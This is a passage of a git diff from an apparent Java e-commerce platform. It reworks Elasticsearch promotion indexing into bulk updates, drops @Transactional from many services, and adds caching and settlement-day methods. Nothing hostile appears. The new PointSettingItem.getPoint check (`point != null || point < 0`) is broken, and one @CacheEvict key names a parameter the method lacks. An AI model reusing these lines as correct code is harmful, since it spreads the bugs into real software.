cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.elasticsearch.BaseElasticsearchService; import cn.lili.elasticsearch.EsSuffix; import cn.lili.elasticsearch.config.ElasticsearchProperties; @@ -22,10 +23,8 @@ import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.enums.GoodsWordsTypeEnum; import cn.lili.modules.goods.service.*; -import cn.lili.modules.promotion.entity.dos.Pintuan; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dos.Seckill; -import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.promotion.tools.PromotionTools; @@ -34,11 +33,15 @@ import cn.lili.modules.search.entity.dto.EsGoodsSearchDTO; import cn.lili.modules.search.repository.EsGoodsIndexRepository; import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.search.service.EsGoodsSearchService; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import lombok.extern.slf4j.Slf4j; +import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.assertj.core.util.IterableUtil; import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.bulk.BulkRequest; +import org.elasticsearch.action.bulk.BulkResponse; import org.elasticsearch.action.update.UpdateRequest; import org.elasticsearch.client.RequestOptions; import org.elasticsearch.index.query.BoolQueryBuilder; @@ -47,6 +50,7 @@ import org.elasticsearch.index.query.TermQueryBuilder; import org.elasticsearch.index.reindex.BulkByScrollResponse; import org.elasticsearch.index.reindex.UpdateByQueryRequest; import org.elasticsearch.script.Script; +import org.elasticsearch.script.ScriptType; import org.mybatis.spring.MyBatisSystemException; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; @@ -102,7 +106,16 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements private StoreGoodsLabelService storeGoodsLabelService; @Autowired private Cache cache; - + /** + * rocketMq + */ + @Autowired + private RocketMQTemplate rocketMQTemplate; + /** + * rocketMq配置 + */ + @Autowired + private RocketmqCustomProperties rocketmqCustomProperties; @Autowired @Qualifier("elasticsearchRestTemplate") private ElasticsearchRestTemplate restTemplate; @@ -355,20 +368,14 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } @Override - public void updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key, Double price) { + public UpdateRequest updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key) { EsGoodsIndex goodsIndex = findById(id); if (goodsIndex != null) { - //如果有促销活动开始,则将促销金额写入 - if (price != null) { - goodsIndex.setPromotionPrice(price); - } else { - //否则促销金额为商品原价 - goodsIndex.setPromotionPrice(goodsIndex.getPrice()); - } //更新索引 - this.updateGoodsIndexPromotion(goodsIndex, key, promotion); + return this.updateGoodsIndexPromotion(goodsIndex, key, promotion); } else { log.error("更新索引商品促销信息失败!skuId 为 {} 的索引不存在!", id); + return null; } } @@ -381,24 +388,40 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements */ @Override public void updateEsGoodsIndexPromotions(List ids, BasePromotions promotion, String key) { + BulkRequest bulkRequest = new BulkRequest(); + log.info("修改商品活动索引"); + log.info("商品ids: {}", ids); + log.info("活动关键字: {}", key); + log.info("活动: {}", promotion); for (String id : ids) { - this.updateEsGoodsIndexPromotions(id, promotion, key, null); + UpdateRequest updateRequest = this.updateEsGoodsIndexPromotions(id, promotion, key); + if (updateRequest != null) { + bulkRequest.add(updateRequest); + } } + this.executeBulkUpdateRequest(bulkRequest); } + @Override public void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotions promotion, String key) { + BulkRequest bulkRequest = new BulkRequest(); + log.info("修改商品活动索引"); + log.info("促销商品信息: {}", promotionGoodsList); + log.info("活动关键字: {}", key); + log.info("活动: {}", promotion); if (promotionGoodsList != null) { //循环更新 促销商品索引 for (PromotionGoods promotionGoods : promotionGoodsList) { - Double price = null; - if (promotion instanceof Seckill || promotion instanceof Pintuan) { - price = promotionGoods.getPrice(); + promotion.setStartTime(promotionGoods.getStartTime()); + promotion.setEndTime(promotionGoods.getEndTime()); + UpdateRequest updateRequest = this.updateEsGoodsIndexPromotions(promotionGoods.getSkuId(), promotion, key); + if (updateRequest != null) { + bulkRequest.add(updateRequest); } - this.updateEsGoodsIndexPromotions(promotionGoods.getSkuId(), promotion, key, price); } } - + this.executeBulkUpdateRequest(bulkRequest); } /** @@ -422,13 +445,12 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } else { //否则是平台活动 Iterable all = goodsIndexRepository.findAll(); -// 查询出全部商品 + //查询出全部商品 goodsIndices = new ArrayList<>(IterableUtil.toCollection(all)); } - //更新商品索引 - for (EsGoodsIndex goodsIndex : goodsIndices) { - this.updateGoodsIndexPromotion(goodsIndex, key, promotion); - } + List skuIds = goodsIndices.stream().map(EsGoodsIndex::getId).collect(Collectors.toList()); + this.deleteEsGoodsPromotionByPromotionId(skuIds, promotion.getId()); + this.updateEsGoodsIndexPromotions(skuIds, promotion, key); } @Override @@ -443,7 +465,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements //如果存在同类型促销活动删除 List collect = promotionMap.keySet().stream().filter(i -> i.contains(promotionType.name())).collect(Collectors.toList()); collect.forEach(promotionMap::remove); - goodsIndex.setPromotionMap(promotionMap); + goodsIndex.setPromotionMapJson(JSONUtil.toJsonStr(promotionMap)); updateIndex(goodsIndex); } } else { @@ -454,21 +476,32 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements @Override public void deleteEsGoodsPromotionByPromotionId(List skuIds, String promotionId) { + BulkRequest bulkRequest = new BulkRequest(); + log.info("删除商品活动索引"); + log.info("商品skuIds: {}", skuIds); + log.info("活动Id: {}", promotionId); if (skuIds != null && !skuIds.isEmpty()) { for (String skuId : skuIds) { EsGoodsIndex goodsIndex = findById(skuId); //商品索引不为空 if (goodsIndex != null) { - this.removePromotionByPromotionId(goodsIndex, promotionId); + UpdateRequest updateRequest = this.removePromotionByPromotionId(goodsIndex, promotionId); + if (updateRequest != null) { + bulkRequest.add(updateRequest); + } } else { log.error("更新索引商品促销信息失败!skuId 为 【{}】的索引不存在!", skuId); } } } else { for (EsGoodsIndex goodsIndex : this.goodsIndexRepository.findAll()) { - this.removePromotionByPromotionId(goodsIndex, promotionId); + UpdateRequest updateRequest = this.removePromotionByPromotionId(goodsIndex, promotionId); + if (updateRequest != null) { + bulkRequest.add(updateRequest); + } } } + this.executeBulkUpdateRequest(bulkRequest); } @@ -478,15 +511,16 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param goodsIndex 索引 * @param promotionId 促销活动id */ - private void removePromotionByPromotionId(EsGoodsIndex goodsIndex, String promotionId) { + private UpdateRequest removePromotionByPromotionId(EsGoodsIndex goodsIndex, String promotionId) { Map promotionMap = goodsIndex.getPromotionMap(); if (promotionMap != null && !promotionMap.isEmpty()) { - //如果存在同类型促销活动删除 + //如果存在同促销ID的活动删除 List collect = promotionMap.keySet().stream().filter(i -> i.split("-")[1].equals(promotionId)).collect(Collectors.toList()); collect.forEach(promotionMap::remove); - goodsIndex.setPromotionMap(promotionMap); - updateIndex(goodsIndex); + goodsIndex.setPromotionMapJson(JSONUtil.toJsonStr(promotionMap)); + return this.getGoodsIndexPromotionUpdateRequest(goodsIndex.getId(), promotionMap); } + return null; } /** @@ -502,9 +536,6 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements //促销不为空则进行清洗 promotionMap.entrySet().removeIf(i -> { BasePromotions promotion = (BasePromotions) i.getValue(); - if (i.getKey().contains(PromotionTypeEnum.SECKILL.name()) || i.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { - goodsIndex.setPromotionPrice(goodsIndex.getPrice()); - } return promotion.getEndTime() != null && promotion.getEndTime().getTime() < DateUtil.date().getTime(); }); } @@ -569,19 +600,23 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } /** - * 获取临时拼装的商品索引 + * 获取重置的商品索引 * * @param goodsSku 商品sku信息 * @param goodsParamDTOS 商品参数 * @return 商品索引 */ @Override - public EsGoodsIndex getTempEsGoodsIndex(GoodsSku goodsSku, List goodsParamDTOS) { + public EsGoodsIndex getResetEsGoodsIndex(GoodsSku goodsSku, List goodsParamDTOS) { EsGoodsIndex index = new EsGoodsIndex(goodsSku, goodsParamDTOS); //获取活动信息 - Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); + Map goodsCurrentPromotionMap = promotionService.getGoodsSkuPromotionMap(index.getStoreId(), index.getId()); //写入促销信息 - index.setPromotionMap(goodsCurrentPromotionMap); + index.setPromotionMapJson(JSONUtil.toJsonStr(goodsCurrentPromotionMap)); + + //发送mq消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name(); + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(Collections.singletonList(index)), RocketmqSendCallbackBuilder.commonCallback()); return index; } @@ -592,11 +627,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param key 关键字 * @param promotion 活动 */ - private void updateGoodsIndexPromotion(EsGoodsIndex goodsIndex, String key, BasePromotions promotion) { - log.info("修改商品活动索引"); - log.info("商品索引: {}", goodsIndex); - log.info("关键字: {}", key); - log.info("活动: {}", promotion); + private UpdateRequest updateGoodsIndexPromotion(EsGoodsIndex goodsIndex, String key, BasePromotions promotion) { Map promotionMap; //数据非空处理,如果空给一个新的信息 if (goodsIndex.getPromotionMap() == null || goodsIndex.getPromotionMap().isEmpty()) { @@ -611,8 +642,46 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } else { promotionMap.put(key, promotion); } - goodsIndex.setPromotionMap(promotionMap); - updateIndex(goodsIndex); + return this.getGoodsIndexPromotionUpdateRequest(goodsIndex.getId(), promotionMap); + } + + /** + * 以更新部分字段的方式更新索引促销信息 + * + * @param id 索引id + * @param promotionMap 促销信息 + */ + private UpdateRequest getGoodsIndexPromotionUpdateRequest(String id, Map promotionMap) { + UpdateRequest updateRequest = new UpdateRequest(); + updateRequest.index(getIndexName()); + updateRequest.id(id); + updateRequest.retryOnConflict(5); + Map params = new HashMap<>(); + params.put("promotionMap", JSONUtil.toJsonStr(promotionMap)); + Script script = new Script(ScriptType.INLINE, "painless", "ctx._source.promotionMapJson=params.promotionMap;", params); + updateRequest.script(script); + return updateRequest; + } + + /** + * 执行批量更新商品索引 + * + * @param bulkRequest 批量请求 + */ + private void executeBulkUpdateRequest(BulkRequest bulkRequest) { + if (bulkRequest.requests().isEmpty()) { + return; + } + try { + BulkResponse responses = this.client.bulk(bulkRequest, RequestOptions.DEFAULT); + if (responses.hasFailures()) { + log.info("批量更新商品索引的促销信息中出现部分异常:{}", responses.buildFailureMessage()); + } else { + log.info("批量更新商品索引的促销信息结果:{}", responses.status()); + } + } catch (IOException e) { + log.error("批量更新商品索引的促销信息出现异常!", e); + } } /** @@ -704,8 +773,8 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } } //促销索引 - Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); - index.setPromotionMap(goodsCurrentPromotionMap); + Map goodsCurrentPromotionMap = promotionService.getGoodsSkuPromotionMap(index.getStoreId(), index.getId()); + index.setPromotionMapJson(JSONUtil.toJsonStr(goodsCurrentPromotionMap)); return index; } @@ -713,7 +782,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements return new ActionListener() { @Override public void onResponse(BulkByScrollResponse bulkByScrollResponse) { - log.debug("UpdateByQueryResponse: {}", bulkByScrollResponse); + log.info("UpdateByQueryResponse: {}", bulkByScrollResponse); } @Override diff --git a/framework/src/main/java/cn/lili/modules/statistics/aop/aspect/PageViewInterceptor.java b/framework/src/main/java/cn/lili/modules/statistics/aop/aspect/PageViewInterceptor.java index 491ceba5..7ee8d8e6 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/aop/aspect/PageViewInterceptor.java +++ b/framework/src/main/java/cn/lili/modules/statistics/aop/aspect/PageViewInterceptor.java @@ -37,8 +37,6 @@ public class PageViewInterceptor { @Autowired private Cache cache; - @Autowired - private HttpServletRequest request; @AfterReturning(returning = "rvt", pointcut = "@annotation(cn.lili.modules.statistics.aop.PageViewPoint)") diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java index 622ff256..217320ad 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/BillStatisticsServiceImpl.java @@ -22,7 +22,6 @@ import java.util.Objects; * @since 2020/11/17 4:28 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class BillStatisticsServiceImpl extends ServiceImpl implements BillStatisticsService { diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java index 79ab876c..d459537b 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/DistributionCashStatisticsServiceImpl.java @@ -18,7 +18,6 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020-03-126 18:04:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class DistributionCashStatisticsServiceImpl extends ServiceImpl implements DistributionCashStatisticsService { diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java index 62caf740..23a5bae3 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/MemberEvaluationStatisticsServiceImpl.java @@ -24,7 +24,6 @@ import java.util.Objects; * @since 2020-02-25 14:10:16 */ @Service -@Transactional(rollbackFor = Exception.class) public class MemberEvaluationStatisticsServiceImpl extends ServiceImpl implements MemberEvaluationStatisticsService { diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java index 1982553f..35cd916b 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java @@ -18,7 +18,6 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020/8/21 */ @Service -@Transactional(rollbackFor = Exception.class) public class SeckillStatisticsServiceImpl extends ServiceImpl implements SeckillStatisticsService { diff --git a/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java b/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java index d8050ec9..be73062e 100644 --- a/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreSearchParams.java @@ -49,7 +49,7 @@ public class StoreSearchParams extends PageVO implements Serializable { if (StringUtils.isNotEmpty(storeDisable)) { queryWrapper.eq("store_disable", storeDisable); } else { - queryWrapper.eq("store_disable", StoreStatusEnum.OPEN.name()).or().eq("store_disable", StoreStatusEnum.CLOSED.name()); + queryWrapper.and(Wrapper -> Wrapper.eq("store_disable", StoreStatusEnum.OPEN.name()).or().eq("store_disable", StoreStatusEnum.CLOSED.name())); } //按时间查询 if (StringUtils.isNotEmpty(startDate)) { diff --git a/framework/src/main/java/cn/lili/modules/store/service/FreightTemplateService.java b/framework/src/main/java/cn/lili/modules/store/service/FreightTemplateService.java index 75225f99..7cebb983 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/FreightTemplateService.java +++ b/framework/src/main/java/cn/lili/modules/store/service/FreightTemplateService.java @@ -5,6 +5,9 @@ import cn.lili.modules.store.entity.dos.FreightTemplate; import cn.lili.modules.store.entity.vos.FreightTemplateVO; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; +import org.springframework.cache.annotation.CacheConfig; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; import java.util.List; @@ -14,6 +17,7 @@ import java.util.List; * @author Bulbasaur * @since 2020-03-07 09:24:33 */ +@CacheConfig(cacheNames = "{freightTemplate}") public interface FreightTemplateService extends IService { /** @@ -38,6 +42,7 @@ public interface FreightTemplateService extends IService { * @param id 运费模板ID * @return 运费模板 */ + @Cacheable(key = "#id") FreightTemplateVO getFreightTemplate(String id); /** @@ -55,6 +60,7 @@ public interface FreightTemplateService extends IService { * @param freightTemplateVO 运费模板 * @return 运费模板 */ + @CacheEvict(key = "#freightTemplateVO.id") FreightTemplateVO editFreightTemplate(FreightTemplateVO freightTemplateVO); /** @@ -64,6 +70,7 @@ public interface FreightTemplateService extends IService { * @param id 运费模板ID * @return 操作状态 */ + @CacheEvict(key = "#freightTemplateVO.id") boolean removeFreightTemplate(String id); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java b/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java index e90ccc9e..07995f46 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java +++ b/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java @@ -1,9 +1,11 @@ package cn.lili.modules.store.service; +import cn.hutool.core.date.DateTime; import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.dos.StoreDetail; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.modules.store.entity.dto.StoreSettingDTO; +import cn.lili.modules.store.entity.dto.StoreSettlementDay; import cn.lili.modules.store.entity.vos.StoreBasicInfoVO; import cn.lili.modules.store.entity.vos.StoreDetailVO; import cn.lili.modules.store.entity.vos.StoreManagementCategoryVO; @@ -120,4 +122,20 @@ public interface StoreDetailService extends IService { * @param merchantEuid 店铺客服信息 */ Boolean editMerchantEuid(String merchantEuid); + + /** + * 获取待结算店铺列表 + * + * @param day 结算日 + * @return 待结算店铺列表 + */ + List getSettlementStore(int day); + + /** + * 修改店铺的结算日 + * + * @param storeId 店铺ID + * @param dateTime 结算日 + */ + void updateSettlementDay(String storeId, DateTime dateTime); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java index 6597bf56..f5eecdb6 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java @@ -48,7 +48,6 @@ import java.util.List; * @since 2020/11/17 4:28 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class BillServiceImpl extends ServiceImpl implements BillService { /** @@ -90,7 +89,7 @@ public class BillServiceImpl extends ServiceImpl implements Bi .eq("store_id", storeId) .eq("flow_type", FlowTypeEnum.PAY.name()) .between("create_time", startTime, endTime)); - Double orderPrice = 0D; + double orderPrice = 0D; if (orderBill != null) { bill.setOrderPrice(orderBill.getOrderPrice()); bill.setCommissionPrice(orderBill.getCommissionPrice()); @@ -98,9 +97,8 @@ public class BillServiceImpl extends ServiceImpl implements Bi bill.setSiteCouponCommission(orderBill.getSiteCouponCommission()); bill.setPointSettlementPrice(orderBill.getPointSettlementPrice()); bill.setKanjiaSettlementPrice(orderBill.getKanjiaSettlementPrice()); - //入账金额=订单金额+积分商品+砍价商品 - orderPrice = CurrencyUtil.add(CurrencyUtil.add(orderBill.getBillPrice(), orderBill.getPointSettlementPrice()), - orderBill.getKanjiaSettlementPrice()); + //入账金额=订单金额 + orderPrice = orderBill.getBillPrice(); } diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/FreightTemplateServiceChildImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/FreightTemplateServiceChildImpl.java index 12a7c64b..4b32fba8 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/FreightTemplateServiceChildImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/FreightTemplateServiceChildImpl.java @@ -18,7 +18,6 @@ import java.util.List; * @since 2020-03-07 09:24:33 */ @Service -@Transactional(rollbackFor = Exception.class) public class FreightTemplateServiceChildImpl extends ServiceImpl implements FreightTemplateChildService { @Override diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/FreightTemplateServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/FreightTemplateServiceImpl.java index a4428416..7b4943bf 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/FreightTemplateServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/FreightTemplateServiceImpl.java @@ -34,7 +34,6 @@ import java.util.List; * @since 2020/11/22 16:00 */ @Service -@Transactional(rollbackFor = Exception.class) public class FreightTemplateServiceImpl extends ServiceImpl implements FreightTemplateService { /** * 配送子模板 diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreAddressServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreAddressServiceImpl.java index 2b84c070..131f774b 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreAddressServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreAddressServiceImpl.java @@ -19,7 +19,6 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020/11/22 16:00 */ @Service -@Transactional(rollbackFor = Exception.class) public class StoreAddressServiceImpl extends ServiceImpl implements StoreAddressService { @Override diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java index 342f138f..72ad1e5f 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java @@ -1,5 +1,6 @@ package cn.lili.modules.store.serviceimpl; +import cn.hutool.core.date.DateTime; import cn.hutool.core.map.MapUtil; import cn.hutool.json.JSONUtil; import cn.lili.common.properties.RocketmqCustomProperties; @@ -14,6 +15,7 @@ import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.dos.StoreDetail; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.modules.store.entity.dto.StoreSettingDTO; +import cn.lili.modules.store.entity.dto.StoreSettlementDay; import cn.lili.modules.store.entity.vos.StoreBasicInfoVO; import cn.lili.modules.store.entity.vos.StoreDetailVO; import cn.lili.modules.store.entity.vos.StoreManagementCategoryVO; @@ -41,7 +43,6 @@ import java.util.*; * @since 2020-03-07 16:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class StoreDetailServiceImpl extends ServiceImpl implements StoreDetailService { /** @@ -115,6 +116,28 @@ public class StoreDetailServiceImpl extends ServiceImpl getSettlementStore(int day) { + return this.baseMapper.getSettlementStore(day); + } + + /** + * 修改店铺的结算日 + * + * @param storeId 店铺ID + * @param dateTime 结算日 + */ + @Override + public void updateSettlementDay(String storeId, DateTime dateTime) { + this.baseMapper.updateSettlementDay(storeId, dateTime); + } + @Override public StoreBasicInfoVO getStoreBasicInfoDTO(String storeId) { return this.baseMapper.getStoreBasicInfoDTO(storeId); diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java index ba32a8a6..b8055f85 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java @@ -44,7 +44,6 @@ import java.util.Optional; * @since 2020-03-07 16:18:56 */ @Service -@Transactional(rollbackFor = Exception.class) public class StoreServiceImpl extends ServiceImpl implements StoreService { /** diff --git a/framework/src/main/java/cn/lili/modules/system/entity/dto/PointSetting.java b/framework/src/main/java/cn/lili/modules/system/entity/dto/PointSetting.java index 0f32c8a1..6679b454 100644 --- a/framework/src/main/java/cn/lili/modules/system/entity/dto/PointSetting.java +++ b/framework/src/main/java/cn/lili/modules/system/entity/dto/PointSetting.java @@ -20,7 +20,10 @@ public class PointSetting implements Serializable { @ApiModelProperty(value = "注册") private Integer register; - @ApiModelProperty(value = "1元等级*积分") + @ApiModelProperty(value = "消费1元赠送多少积分") + private Integer consumer; + + @ApiModelProperty(value = "积分付款X积分=1元") private Integer money; @ApiModelProperty(value = "每日签到积分") @@ -32,5 +35,38 @@ public class PointSetting implements Serializable { @ApiModelProperty(value = "积分具体设置") private List pointSettingItems = new ArrayList<>(); + public Integer getRegister() { + if (register == null || register < 0) { + return 0; + } + return register; + } + public Integer getMoney() { + if (money == null || money < 0) { + return 0; + } + return money; + } + + public Integer getConsumer() { + if (consumer == null || consumer < 0) { + return 0; + } + return consumer; + } + + public Integer getSignIn() { + if (signIn == null || signIn < 0) { + return 0; + } + return signIn; + } + + public Integer getComment() { + if (comment == null || comment < 0) { + return 0; + } + return comment; + } } diff --git a/framework/src/main/java/cn/lili/modules/system/entity/dto/PointSettingItem.java b/framework/src/main/java/cn/lili/modules/system/entity/dto/PointSettingItem.java index 31a7b7da..11d061d8 100644 --- a/framework/src/main/java/cn/lili/modules/system/entity/dto/PointSettingItem.java +++ b/framework/src/main/java/cn/lili/modules/system/entity/dto/PointSettingItem.java @@ -20,6 +20,17 @@ public class PointSettingItem implements Comparable { @ApiModelProperty(value = "赠送积分") private Integer point; + public Integer getPoint() { + if (point != null || point < 0) { + return 0; + } + return point; + } + + public void setPoint(Integer point) { + this.point = point; + } + @Override public int compareTo(PointSettingItem pointSettingItem) { return this.day - pointSettingItem.getDay(); diff --git a/framework/src/main/java/cn/lili/modules/system/entity/dto/payment/WechatPaymentSetting.java b/framework/src/main/java/cn/lili/modules/system/entity/dto/payment/WechatPaymentSetting.java index 9dc4a73d..4a027dc2 100644 --- a/framework/src/main/java/cn/lili/modules/system/entity/dto/payment/WechatPaymentSetting.java +++ b/framework/src/main/java/cn/lili/modules/system/entity/dto/payment/WechatPaymentSetting.java @@ -14,7 +14,7 @@ import lombok.experimental.Accessors; public class WechatPaymentSetting { /** - * APP应用id + * APP应用id */ private String appId; /** diff --git a/framework/src/main/java/cn/lili/modules/system/serviceimpl/AppVersionServiceImpl.java b/framework/src/main/java/cn/lili/modules/system/serviceimpl/AppVersionServiceImpl.java index 98e79b7b..fcb46466 100644 --- a/framework/src/main/java/cn/lili/modules/system/serviceimpl/AppVersionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/system/serviceimpl/AppVersionServiceImpl.java @@ -19,7 +19,6 @@ import org.springframework.transaction.annotation.Transactional; * @since 2020/11/17 8:02 下午 */ @Service -@Transactional(rollbackFor = Exception.class) public class AppVersionServiceImpl extends ServiceImpl implements AppVersionService { @Override diff --git a/framework/src/main/java/cn/lili/modules/system/serviceimpl/RegionServiceImpl.java b/framework/src/main/java/cn/lili/modules/system/serviceimpl/RegionServiceImpl.java index a6b5708e..12369e5c 100644 --- a/framework/src/main/java/cn/lili/modules/system/serviceimpl/RegionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/system/serviceimpl/RegionServiceImpl.java @@ -27,7 +27,6 @@ import java.util.*; * @since 2020/12/2 11:11 */ @Service -@Transactional(rollbackFor = Exception.class) public class RegionServiceImpl extends ServiceImpl implements RegionService { /** diff --git a/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java b/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java index 32464c77..4e22a7b1 100644 --- a/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java +++ b/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java @@ -29,10 +29,8 @@ import java.util.Map; * @since 2020/11/16 10:51 */ @Component -public class ManagerTokenGenerate extends AbstractTokenGenerate { +public class ManagerTokenGenerate extends AbstractTokenGenerate { - @Autowired - private AdminUserService adminUserService; @Autowired private TokenUtil tokenUtil; @Autowired @@ -42,16 +40,14 @@ public class ManagerTokenGenerate extends AbstractTokenGenerate { @Override - public Token createToken(String username, Boolean longTerm) { - //生成token - AdminUser adminUser = adminUserService.findByUsername(username); - AuthUser user = new AuthUser(adminUser.getUsername(), adminUser.getId(), UserEnums.MANAGER, adminUser.getNickName(), adminUser.getIsSuper()); + public Token createToken(AdminUser adminUser, Boolean longTerm) { + AuthUser authUser = new AuthUser(adminUser.getUsername(), adminUser.getId(), adminUser.getAvatar(), UserEnums.MANAGER, adminUser.getNickName(), adminUser.getIsSuper()); - List userMenuVOList = roleMenuService.findAllMenu(user.getId()); + List userMenuVOList = roleMenuService.findAllMenu(authUser.getId()); //缓存权限列表 - cache.put(CachePrefix.PERMISSION_LIST.getPrefix(UserEnums.MANAGER) + user.getId(), this.permissionList(userMenuVOList)); + 